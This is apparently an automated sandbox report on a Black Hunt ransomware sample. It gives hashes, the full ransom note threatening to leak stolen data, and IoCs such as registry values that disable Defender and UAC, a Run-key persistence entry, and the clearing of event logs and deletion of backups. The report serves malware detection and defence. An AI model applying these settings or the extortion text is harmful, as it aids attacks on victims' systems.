f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19-01-2024 01:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
Size

707KB
MD5

e6afca64e135962dfbef64f5253027b2
SHA1

ee09a6c5479d22062ac7decc4992992b96352451
SHA256

f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10
SHA512

c96586fc6a51d0238ecf1796785175b4dc197af0bb6e5f18b0bd695a6af7e1697b22d63793b6e327a5edacaa7266e48d388e43b8095ebb82b90b575ea7500637
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1A8Yvnh:6uaTmkZJ+naie5OTamgEoKxLWLmh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> wCXrgQJT1cwstJtf </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2716	fsutil.exe
796	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3036	wevtutil.exe
2164	wevtutil.exe
1632	wevtutil.exe
2220	wevtutil.exe
564	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2204	bcdedit.exe
2772	bcdedit.exe
3000	bcdedit.exe
1708	bcdedit.exe

Renames multiple (2885) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1956	wbadmin.exe
2860	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2596	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\V:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened (read-only)	\??\U:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened (read-only)	\??\G:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened (read-only)	\??\I:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened (read-only)	\??\W:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened (read-only)	\??\P:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened (read-only)	\??\Z:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened (read-only)	\??\Q:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened (read-only)	\??\X:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\O:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened (read-only)	\??\S:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened (read-only)	\??\H:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened (read-only)	\??\N:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened (read-only)	\??\T:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened (read-only)	\??\Y:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened (read-only)	\??\A:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened (read-only)	\??\B:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened (read-only)	\??\M:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened (read-only)	\??\R:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened (read-only)	\??\J:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened (read-only)	\??\K:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened (read-only)	\??\L:	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\#BlackHunt_ReadMe.hta	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Stockholm	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\#BlackHunt_ReadMe.hta	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File created	C:\Program Files\VideoLAN\VLC\locale\wa\#BlackHunt_ReadMe.txt	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ps\LC_MESSAGES\#BlackHunt_Private.key	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\#BlackHunt_ReadMe.txt	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mr.txt	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Funafuti	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\#BlackHunt_ReadMe.hta	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Tripoli	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Malta	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\ConnectExit.mpg	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.ja_5.5.0.165303.jar	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationLeft_ButtonGraphic.png	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\locale\#BlackHunt_ReadMe.hta	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-swing-outline_zh_CN.jar	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File created	C:\Program Files\Java\jre7\lib\zi\Australia\#BlackHunt_ReadMe.hta	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-attach.jar	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winClassicHandle.png	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-windows.jar	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Puerto_Rico	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Zurich	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host-views_ja.jar	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
